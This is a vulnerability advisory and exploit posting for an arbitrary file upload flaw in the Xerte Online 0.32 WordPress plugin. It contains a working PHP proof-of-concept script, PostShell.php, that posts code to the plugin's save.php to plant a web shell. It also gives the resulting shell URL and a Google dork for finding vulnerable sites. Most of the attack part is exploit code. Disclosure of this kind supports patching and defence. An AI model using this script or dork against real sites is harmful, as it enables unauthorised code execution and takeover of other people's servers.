source: https://www.securityfocus.com/bid/57098/info

The Xerte Online plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Xerte Online 0.32 is vulnerable; other versions may also be affected.

##################################################
# Description : Wordpress Plugins - Xerte Online Arbitrary File Upload Vulnerability
# Version : 0.32
# Link : http://wordpress.org/extend/plugins/xerte-online/
# Plugins : http://downloads.wordpress.org/plugin/xerte-online.0.32.zip
# Date : 30-12-2012
# Google Dork : inurl:/wp-content/plugins/xerte-online/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################

Exploit :

PostShell.php
<?php

$code = "[CODE PHP]";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/save.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('filename'=>"/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php",
                'filedata'=>"$code"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


Shell Access :
http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php